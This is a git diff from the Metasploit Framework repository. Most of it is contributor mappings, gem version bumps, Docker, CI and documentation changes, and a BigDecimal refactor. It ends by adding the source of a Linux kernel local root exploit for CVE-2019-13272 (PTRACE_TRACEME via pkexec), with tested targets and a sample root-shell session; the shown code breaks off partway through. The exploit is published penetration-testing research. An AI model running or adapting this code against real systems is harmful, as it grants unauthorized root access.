todb-r7 <todb-r7@github> <todb@metasploit.com>
todb-r7 <todb-r7@github> <todb@packetfu.com>
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> <wvu@cs.nmt.edu>
wvu-r7 <wvu-r7@github> <wvu@metasploit.com>
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
adamgalway-r7 <adamgalway-r7@github> <adam_galway@rapid7.com>
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
cdelafuente-r7 <cdelafuente-r7@github> Christophe De La Fuente <christophe_delafuente@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
jinq102030 <jinq102030@github> <jqian@rapid7.com>
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com>
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> <todb@metasploit.com>
todb-r7 <todb-r7@github> <todb@packetfu.com>
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> <wvu@nmt.edu>
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
# Above this line are current Rapid7 employees. Below this paragraph are
# volunteers, former employees, and potential Rapid7 employees who, at
+1 -1
View File
@@ -119,7 +119,7 @@ Naming/UncommunicativeMethodParamName:
# %q() is super useful for long strings split over multiple lines and
# is very common in module constructors for things like descriptions
Style/UnneededPercentQ:
Style/RedundantPercentQ:
Enabled: false
Style/NumericLiterals:
+1 -1
View File
@@ -1 +1 @@
2.6.2
2.6.5
+2 -2
View File
@@ -11,8 +11,8 @@ addons:
- graphviz
language: ruby
rvm:
- '2.5.5'
- '2.6.2'
- '2.5.7'
- '2.6.5'
env:
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
+4 -2
View File
@@ -2,9 +2,9 @@
Thanks for your interest in making Metasploit -- and therefore, the
world -- a better place! Before you get started, review our
[Code of Conduct]. There are mutliple ways to help beyond just writing code:
[Code of Conduct]. There are multiple ways to help beyond just writing code:
- [Submit bugs and feature requests] with detailed information about your issue or idea.
- [Help fellow users with open issues] or [help fellow committers test recent pull requests].
- [Help fellow users with open issues] or [help fellow committers test recently submitted pull requests].
- [Report a security vulnerability in Metasploit itself] to Rapid7.
- Submit an updated or brand new module! We are always eager for exploits, scanners, and new
integrations or features. Don't know where to start? Set up a [development environment], then head over to ExploitDB to look for [proof-of-concept exploits] that might make a good module.
@@ -36,6 +36,7 @@ it into Metasploit's master branch. If you do not care to follow these rules, y
* **Do** [reference associated issues] in your pull request description.
* **Don't** leave your pull request description blank.
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
* **Don't** post questions in older closed PRs.
Pull request [PR#9966] is a good example to follow.
@@ -69,6 +70,7 @@ When reporting Metasploit issues:
* **Do** write a detailed description of your bug and use a descriptive title.
* **Do** include reproduction steps, stack traces, and anything that might help us fix your bug.
* **Don't** file duplicate reports; search for your bug before filing a new report.
* **Don't** attempt to report issues on a closed PR.
If you need some more guidance, talk to the main body of open source contributors over on our
[Metasploit Slack] or [#metasploit on Freenode IRC].
+7 -4
View File
@@ -1,4 +1,4 @@
FROM ruby:2.6.2-alpine3.9 AS builder
FROM ruby:2.6.5-alpine3.10 AS builder
LABEL maintainer="Rapid7"
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
@@ -36,7 +36,7 @@ RUN apk add --no-cache \
&& chmod -R a+r /usr/local/bundle
FROM ruby:2.6.2-alpine3.9
FROM ruby:2.6.5-alpine3.10
LABEL maintainer="Rapid7"
ENV APP_HOME=/usr/src/metasploit-framework
@@ -51,8 +51,11 @@ RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresq
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
COPY --chown=root:metasploit --from=builder /usr/local/bundle /usr/local/bundle
COPY --chown=root:metasploit . $APP_HOME/
COPY --from=builder /usr/local/bundle /usr/local/bundle
RUN chown -R root:metasploit /usr/local/bundle
COPY . $APP_HOME/
RUN chown -R root:metasploit $APP_HOME/
RUN chmod 664 $APP_HOME/Gemfile.lock
RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml
WORKDIR $APP_HOME
+57 -56
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (5.0.46)
metasploit-framework (5.0.63)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -17,6 +17,7 @@ PATH
ed25519
em-http-request
faker
faraday (<= 0.17.0)
filesize
jsobfu
json
@@ -24,7 +25,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.3.70)
metasploit-payloads (= 1.3.79)
metasploit_data_models (= 3.0.10)
metasploit_payloads-mettle (= 0.5.16)
mqtt
@@ -59,7 +60,7 @@ PATH
rex-random_identifier
rex-registry
rex-rop_builder
rex-socket (= 0.1.17)
rex-socket
rex-sslscan
rex-struct2
rex-text
@@ -108,30 +109,30 @@ GEM
minitest (~> 5.1)
thread_safe (~> 0.3, >= 0.3.4)
tzinfo (~> 1.1)
addressable (2.6.0)
public_suffix (>= 2.0.2, < 4.0)
addressable (2.7.0)
public_suffix (>= 2.0.2, < 5.0)
afm (0.2.2)
arel (6.0.4)
arel-helpers (2.10.0)
activerecord (>= 3.1.0, < 7)
aws-eventstream (1.0.3)
aws-partitions (1.207.0)
aws-sdk-core (3.65.1)
aws-partitions (1.246.0)
aws-sdk-core (3.82.0)
aws-eventstream (~> 1.0, >= 1.0.2)
aws-partitions (~> 1.0)
aws-partitions (~> 1, >= 1.239.0)
aws-sigv4 (~> 1.1)
jmespath (~> 1.0)
aws-sdk-ec2 (1.106.0)
aws-sdk-core (~> 3, >= 3.61.1)
aws-sdk-ec2 (1.121.0)
aws-sdk-core (~> 3, >= 3.71.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.29.0)
aws-sdk-core (~> 3, >= 3.61.1)
aws-sdk-iam (1.32.0)
aws-sdk-core (~> 3, >= 3.71.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.24.0)
aws-sdk-core (~> 3, >= 3.61.1)
aws-sdk-kms (1.26.0)
aws-sdk-core (~> 3, >= 3.71.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.48.0)
aws-sdk-core (~> 3, >= 3.61.1)
aws-sdk-s3 (1.57.0)
aws-sdk-core (~> 3, >= 3.77.0)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.1)
aws-sigv4 (1.1.0)
@@ -145,7 +146,7 @@ GEM
coderay (1.1.2)
concurrent-ruby (1.0.5)
cookiejar (0.3.3)
crass (1.0.4)
crass (1.0.5)
daemons (1.3.1)
diff-lcs (1.3)
dnsruby (1.61.3)
@@ -162,14 +163,14 @@ GEM
eventmachine (>= 1.0.0.beta.4)
erubis (2.7.0)
eventmachine (1.2.7)
factory_bot (5.0.2)
factory_bot (5.1.1)
activesupport (>= 4.2.0)
factory_bot_rails (5.0.2)
factory_bot (~> 5.0.2)
factory_bot_rails (5.1.1)
factory_bot (~> 5.1.0)
railties (>= 4.2.0)
faker (2.2.0)
faker (2.2.1)
i18n (>= 0.8)
faraday (0.15.4)
faraday (0.17.0)
multipart-post (>= 1.2, < 3)
filesize (0.2.0)
fivemat (1.3.7)
@@ -181,7 +182,7 @@ GEM
jsobfu (0.4.2)
rkelly-remix
json (2.2.0)
loofah (2.2.3)
loofah (2.4.0)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
metasm (1.0.4)
@@ -203,7 +204,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.70)
metasploit-payloads (1.3.79)
metasploit_data_models (3.0.10)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -217,7 +218,7 @@ GEM
metasploit_payloads-mettle (0.5.16)
method_source (0.9.2)
mini_portile2 (2.4.0)
minitest (5.11.3)
minitest (5.13.0)
mqtt (0.5.0)
msgpack (1.3.1)
multipart-post (2.1.1)
@@ -225,7 +226,7 @@ GEM
net-ssh (5.2.0)
network_interface (0.0.2)
nexpose (7.2.1)
nokogiri (1.10.4)
nokogiri (1.10.5)
mini_portile2 (~> 2.4.0)
octokit (4.14.0)
sawyer (~> 0.8.0, >= 0.5.3)
@@ -235,7 +236,7 @@ GEM
pcaprub
patch_finder (1.0.2)
pcaprub (0.13.0)
pdf-reader (2.2.1)
pdf-reader (2.4.0)
Ascii85 (~> 1.0.0)
afm (~> 0.2.1)
hashery (~> 2.0)
@@ -250,7 +251,7 @@ GEM
pry (0.12.2)
coderay (~> 1.1.0)
method_source (~> 0.9.0)
public_suffix (3.1.1)
public_suffix (4.0.1)
rack (1.6.11)
rack-protection (1.5.5)
rack
@@ -262,16 +263,16 @@ GEM
activesupport (>= 4.2.0, < 5.0)
nokogiri (~> 1.6)
rails-deprecated_sanitizer (>= 1.0.1)
rails-html-sanitizer (1.2.0)
loofah (~> 2.2, >= 2.2.2)
rails-html-sanitizer (1.3.0)
loofah (~> 2.3)
railties (4.2.11.1)
actionpack (= 4.2.11.1)
activesupport (= 4.2.11.1)
rake (>= 0.8.7)
thor (>= 0.18.1, < 2.0)
rake (12.3.3)
rake (13.0.1)
rb-readline (0.5.5)
recog (2.3.2)
recog (2.3.6)
nokogiri
redcarpet (3.5.0)
rex-arch (0.1.13)
@@ -300,7 +301,7 @@ GEM
rex-arch
rex-ole (0.1.6)
rex-text
rex-powershell (0.1.82)
rex-powershell (0.1.83)
rex-random_identifier
rex-text
rex-random_identifier (0.1.4)
@@ -310,40 +311,40 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.17)
rex-socket (0.1.21)
rex-core
rex-sslscan (0.1.5)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.2)
rex-text (0.2.23)
rex-text (0.2.24)
rex-zip (0.1.3)
rex-text
rkelly-remix (0.0.7)
rspec (3.8.0)
rspec-core (~> 3.8.0)
rspec-expectations (~> 3.8.0)
rspec-mocks (~> 3.8.0)
rspec-core (3.8.2)
rspec-support (~> 3.8.0)
rspec-expectations (3.8.4)
rspec (3.9.0)
rspec-core (~> 3.9.0)
rspec-expectations (~> 3.9.0)
rspec-mocks (~> 3.9.0)
rspec-core (3.9.0)
rspec-support (~> 3.9.0)
rspec-expectations (3.9.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.8.0)
rspec-mocks (3.8.1)
rspec-support (~> 3.9.0)
rspec-mocks (3.9.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.8.0)
rspec-rails (3.8.2)
rspec-support (~> 3.9.0)
rspec-rails (3.9.0)
actionpack (>= 3.0)
activesupport (>= 3.0)
railties (>= 3.0)
rspec-core (~> 3.8.0)
rspec-expectations (~> 3.8.0)
rspec-mocks (~> 3.8.0)
rspec-support (~> 3.8.0)
rspec-core (~> 3.9.0)
rspec-expectations (~> 3.9.0)
rspec-mocks (~> 3.9.0)
rspec-support (~> 3.9.0)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.8.2)
rspec-support (3.9.0)
ruby-macho (2.2.0)
ruby-rc4 (0.1.5)
ruby_smb (1.1.0)
@@ -351,11 +352,11 @@ GEM
rubyntlm
windows_error
rubyntlm (0.6.2)
rubyzip (1.2.3)
rubyzip (2.0.0)
sawyer (0.8.2)
addressable (>= 2.3.5)
faraday (> 0.8, < 2.0)
simplecov (0.17.0)
simplecov (0.17.1)
docile (~> 1.1)
json (>= 1.8, < 3)
simplecov-html (~> 0.10.0)
@@ -366,19 +367,19 @@ GEM
tilt (>= 1.3, < 3)
sqlite3 (1.3.13)
sshkey (2.0.0)
swagger-blocks (2.0.2)
swagger-blocks (3.0.0)
thin (1.7.2)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
thor (0.20.3)
thread_safe (0.3.6)
tilt (2.0.9)
tilt (2.0.10)
timecop (0.9.1)
ttfunk (1.5.1)
tzinfo (1.2.5)
thread_safe (~> 0.1)
tzinfo-data (1.2019.2)
tzinfo-data (1.2019.3)
tzinfo (>= 1.0.0)
warden (1.2.7)
rack (>= 1.0)
+36 -36
View File
@@ -5,17 +5,17 @@ actionview, 4.2.11.1, MIT
activemodel, 4.2.11.1, MIT
activerecord, 4.2.11.1, MIT
activesupport, 4.2.11.1, MIT
addressable, 2.6.0, "Apache 2.0"
addressable, 2.7.0, "Apache 2.0"
afm, 0.2.2, MIT
arel, 6.0.4, MIT
arel-helpers, 2.10.0, MIT
aws-eventstream, 1.0.3, "Apache 2.0"
aws-partitions, 1.207.0, "Apache 2.0"
aws-sdk-core, 3.65.1, "Apache 2.0"
aws-sdk-ec2, 1.106.0, "Apache 2.0"
aws-sdk-iam, 1.29.0, "Apache 2.0"
aws-sdk-kms, 1.24.0, "Apache 2.0"
aws-sdk-s3, 1.48.0, "Apache 2.0"
aws-partitions, 1.246.0, "Apache 2.0"
aws-sdk-core, 3.82.0, "Apache 2.0"
aws-sdk-ec2, 1.121.0, "Apache 2.0"
aws-sdk-iam, 1.32.0, "Apache 2.0"
aws-sdk-kms, 1.26.0, "Apache 2.0"
aws-sdk-s3, 1.57.0, "Apache 2.0"
aws-sigv4, 1.1.0, "Apache 2.0"
backports, 3.15.0, MIT
bcrypt, 3.1.12, MIT
@@ -27,7 +27,7 @@ bundler, 1.17.3, MIT
coderay, 1.1.2, MIT
concurrent-ruby, 1.0.5, MIT
cookiejar, 0.3.3, unknown
crass, 1.0.4, MIT
crass, 1.0.5, MIT
daemons, 1.3.1, MIT
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.61.3, "Apache 2.0"
@@ -37,10 +37,10 @@ em-http-request, 1.1.5, MIT
em-socksify, 0.3.2, MIT
erubis, 2.7.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 5.0.2, MIT
factory_bot_rails, 5.0.2, MIT
faker, 2.2.0, MIT
faraday, 0.15.4, MIT
factory_bot, 5.1.1, MIT
factory_bot_rails, 5.1.1, MIT
faker, 2.2.1, MIT
faraday, 0.17.1, MIT
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
hashery, 2.1.2, "Simplified BSD"
@@ -49,18 +49,18 @@ i18n, 0.9.5, MIT
jmespath, 1.4.0, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.2.0, ruby
loofah, 2.2.3, MIT
loofah, 2.4.0, MIT
metasm, 1.0.4, LGPL-2.1
metasploit-concern, 2.0.5, "New BSD"
metasploit-credential, 3.0.3, "New BSD"
metasploit-framework, 5.0.46, "New BSD"
metasploit-framework, 5.0.63, "New BSD"
metasploit-model, 2.0.4, "New BSD"
metasploit-payloads, 1.3.70, "3-clause (or ""modified"") BSD"
metasploit-payloads, 1.3.79, "3-clause (or ""modified"") BSD"
metasploit_data_models, 3.0.10, "New BSD"
metasploit_payloads-mettle, 0.5.16, "3-clause (or ""modified"") BSD"
method_source, 0.9.2, MIT
mini_portile2, 2.4.0, MIT
minitest, 5.11.3, MIT
minitest, 5.13.0, MIT
mqtt, 0.5.0, MIT
msgpack, 1.3.1, "Apache 2.0"
multipart-post, 2.1.1, MIT
@@ -68,29 +68,29 @@ nessus_rest, 0.1.6, MIT
net-ssh, 5.2.0, MIT
network_interface, 0.0.2, MIT
nexpose, 7.2.1, "New BSD"
nokogiri, 1.10.4, MIT
nokogiri, 1.10.5, MIT
octokit, 4.14.0, MIT
openssl-ccm, 1.2.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.0, LGPL-2.1
pdf-reader, 2.2.1, MIT
pdf-reader, 2.4.0, MIT
pg, 0.21.0, "New BSD"
pg_array_parser, 0.0.9, unknown
postgres_ext, 3.0.1, MIT
pry, 0.12.2, MIT
public_suffix, 3.1.1, MIT
public_suffix, 4.0.1, MIT
rack, 1.6.11, MIT
rack-protection, 1.5.5, MIT
rack-test, 0.6.3, MIT
rails-deprecated_sanitizer, 1.0.3, MIT
rails-dom-testing, 1.0.9, MIT
rails-html-sanitizer, 1.2.0, MIT
rails-html-sanitizer, 1.3.0, MIT
railties, 4.2.11.1, MIT
rake, 12.3.3, MIT
rake, 13.0.1, MIT
rb-readline, 0.5.5, BSD
recog, 2.3.2, unknown
recog, 2.3.6, unknown
redcarpet, 3.5.0, MIT
rex-arch, 0.1.13, "New BSD"
rex-bin_tools, 0.1.6, "New BSD"
@@ -101,43 +101,43 @@ rex-java, 0.1.5, "New BSD"
rex-mime, 0.1.5, "New BSD"
rex-nop, 0.1.1, "New BSD"
rex-ole, 0.1.6, "New BSD"
rex-powershell, 0.1.82, "New BSD"
rex-powershell, 0.1.83, "New BSD"
rex-random_identifier, 0.1.4, "New BSD"
rex-registry, 0.1.3, "New BSD"
rex-rop_builder, 0.1.3, "New BSD"
rex-socket, 0.1.17, "New BSD"
rex-socket, 0.1.20, "New BSD"
rex-sslscan, 0.1.5, "New BSD"
rex-struct2, 0.1.2, "New BSD"
rex-text, 0.2.23, "New BSD"
rex-text, 0.2.24, "New BSD"
rex-zip, 0.1.3, "New BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.8.0, MIT
rspec-core, 3.8.2, MIT
rspec-expectations, 3.8.4, MIT
rspec-mocks, 3.8.1, MIT
rspec-rails, 3.8.2, MIT
rspec, 3.9.0, MIT
rspec-core, 3.9.0, MIT
rspec-expectations, 3.9.0, MIT
rspec-mocks, 3.9.0, MIT
rspec-rails, 3.9.0, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.8.2, MIT
rspec-support, 3.9.0, MIT
ruby-macho, 2.2.0, MIT
ruby-rc4, 0.1.5, MIT
ruby_smb, 1.1.0, "New BSD"
rubyntlm, 0.6.2, MIT
rubyzip, 1.2.3, "Simplified BSD"
rubyzip, 2.0.0, "Simplified BSD"
sawyer, 0.8.2, MIT
simplecov, 0.17.0, MIT
simplecov, 0.17.1, MIT
simplecov-html, 0.10.2, MIT
sinatra, 1.4.8, MIT
sqlite3, 1.3.13, "New BSD"
sshkey, 2.0.0, MIT
swagger-blocks, 2.0.2, MIT
swagger-blocks, 3.0.0, MIT
thin, 1.7.2, "GPLv2+, Ruby 1.8"
thor, 0.20.3, MIT
thread_safe, 0.3.6, "Apache 2.0"
tilt, 2.0.9, MIT
tilt, 2.0.10, MIT
timecop, 0.9.1, MIT
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 1.2.5, MIT
tzinfo-data, 1.2019.2, MIT
tzinfo-data, 1.2019.3, MIT
warden, 1.2.7, MIT
windows_error, 0.1.2, BSD
xdr, 2.0.0, "Apache 2.0"
+2 -2
View File
@@ -1,7 +1,7 @@
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Maintainability](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/maintainability)](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [![Test Coverage](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/test_coverage)](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
==
The Metasploit Framework is released under a BSD-style license. See
COPYING for more details.
[COPYING](COPYING) for more details.
The latest version of this software is available from: https://metasploit.com
+1
View File
@@ -1,3 +1,4 @@
require File.expand_path('../rails_bigdecimal_fix', __FILE__)
require 'rails'
require File.expand_path('../boot', __FILE__)
+2 -12
View File
@@ -9,6 +9,8 @@ GEMFILE_EXTENSIONS = [
msfenv_real_pathname = Pathname.new(__FILE__).realpath
root = msfenv_real_pathname.parent.parent
require File.expand_path('../rails_bigdecimal_fix', __FILE__)
unless ENV['BUNDLE_GEMFILE']
require 'pathname'
@@ -22,18 +24,6 @@ unless ENV['BUNDLE_GEMFILE']
end
end
# Remove bigdecimal warning - start
# https://github.com/ruby/bigdecimal/pull/115
# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
# TODO: remove when upgrading from rails 4.x
require 'bigdecimal'
def BigDecimal.new(*args, **kwargs)
return BigDecimal(*args) if kwargs.empty?
BigDecimal(*args, **kwargs)
end
# Remove bigdecimal warning - end
begin
require 'bundler/setup'
rescue LoadError => e
+11
View File
@@ -0,0 +1,11 @@
# Remove bigdecimal warning - start
# https://github.com/ruby/bigdecimal/pull/115
# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
# TODO: remove when upgrading from rails 4.x
require 'bigdecimal'
def BigDecimal.new(*args, **kwargs)
return BigDecimal(*args) if kwargs.empty?
BigDecimal(*args, **kwargs)
end
# Remove bigdecimal warning - end
+4
View File
@@ -0,0 +1,4 @@
all:
x86_64-linux-musl-cc -static -s -pie poc.c -o exploit
Binary file not shown.
+464
View File
@@ -0,0 +1,464 @@
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// Uses pkexec technique
// ---
// Original discovery and exploit author: Jann Horn
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
// ---
// <bcoles@gmail.com>
// - added known helper paths
// - added search for suitable helpers
// - added automatic targeting
// - changed target suid executable from passwd to pkexec
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
// ---
// Tested on:
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
// - Ubuntu 19.04 kernel 5.0.0-15-generic
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
// - Linux Mint 17.3 kernel 4.4.0-89-generic
// - Linux Mint 18.3 kernel 4.13.0-16-generic
// - Linux Mint 19 kernel 4.15.0-20-generic
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
// - ElementaryOS 0.4.1 4.8.0-52-generic
// - Backbox 6 kernel 4.18.0-21-generic
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
// - Kali kernel 4.19.0-kali5-amd64
// - Redcore 1806 (LXQT) kernel 4.16.16-redcore
// - MX 18.3 kernel 4.19.37-2~mx17+1
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
// - Debian 9.4.0 kernel 4.9.0-6-amd64
// - Debian 10.0.0 kernel 4.19.0-5-amd64
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
// - Antergos 18.7 kernel 4.17.6-1-ARCH
// ---
// user@linux-mint-19-2:~$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
// user@linux-mint-19-2:~$ ./ptrace_traceme_root
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
// [.] Checking environment ...
// [~] Done, looks good
// [.] Searching for known helpers ...
// [~] Found known helper: /usr/sbin/mate-power-backlight-helper
// [.] Using helper: /usr/sbin/mate-power-backlight-helper
// [.] Spawning suid process (/usr/bin/pkexec) ...
// [.] Tracing midpid ...
// [~] Attached to midpid
// To run a command as administrator (user "root"), use "sudo <command>".
// See "man sudo_root" for details.
//
// root@linux-mint-19-2:/home/user#
// ---
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <stdio.h>
#include <fcntl.h>
#include <sched.h>
#include <stddef.h>
#include <stdarg.h>
#include <pwd.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <linux/elf.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
#define SAFE(expr) ({ \
typeof(expr) __res = (expr); \
if (__res == -1) { \
dprintf("[-] Error: %s\n", #expr); \
return 0; \
} \
__res; \
})
#define max(a,b) ((a)>(b) ? (a) : (b))
/*
* execveat() syscall
* https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
*/
#ifndef __NR_execveat
# define __NR_execveat 322
#endif
static const char *SHELL = "/bin/bash";
static int middle_success = 1;
static int block_pipe[2];
static int self_fd = -1;
static int dummy_status;
static const char *helper_path;
static const char *pkexec_path = "/usr/bin/pkexec";
static const char *pkaction_path = "/usr/bin/pkaction";
struct stat st;
const char *helpers[1024];
const char *known_helpers[] = {
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper",
"/usr/sbin/mate-power-backlight-helper",
"/usr/bin/xfpm-power-backlight-helper",
"/usr/bin/lxqt-backlight_backend",
"/usr/libexec/gsd-wacom-led-helper",
"/usr/libexec/gsd-wacom-oled-helper",
"/usr/libexec/gsd-backlight-helper",
"/usr/lib/gsd-backlight-helper",
"/usr/lib/gsd-wacom-led-helper",
"/usr/lib/gsd-wacom-oled-helper",
};
/* temporary printf; returned pointer is valid until next tprintf */
static char *tprintf(char *fmt, ...) {
static char buf[10000];
va_list ap;
va_start(ap, fmt);
vsprintf(buf, fmt, ap);
va_end(ap);
return buf;
}
/*
* fork, execute pkexec in parent, force parent to trace our child process,
* execute suid executable (pkexec) in child.
*/
static int middle_main(void *dummy) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
pid_t middle = getpid();
self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
pid_t child = SAFE(fork());
if (child == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
SAFE(dup2(self_fd, 42));
/* spin until our parent becomes privileged (have to be fast here) */
int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
while (1) {
char buf[1000];
ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
buf[buflen] = '\0';
if (strstr(buf, needle)) break;
}
/*
* this is where the bug is triggered.
* while our parent is in the middle of pkexec, we force it to become our
* tracer, with pkexec's creds as ptracer_cred.
*/
SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
/*
* now we execute a suid executable (pkexec).
* Because the ptrace relationship is considered to be privileged,
* this is a proper suid execution despite the attached tracer,
* not a degraded one.
* at the end of execve(), this process receives a SIGTRAP from ptrace.
*/
execl(pkexec_path, basename(pkexec_path), NULL);
dprintf("[-] execl: Executing suid executable failed");
exit(EXIT_FAILURE);
}
SAFE(dup2(self_fd, 0));
SAFE(dup2(block_pipe[1], 1));
/* execute pkexec as current user */
struct passwd *pw = getpwuid(getuid());
if (pw == NULL) {
dprintf("[-] getpwuid: Failed to retrieve username");
exit(EXIT_FAILURE);
}
middle_success = 1;
execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,
helper_path,
"--help", NULL);
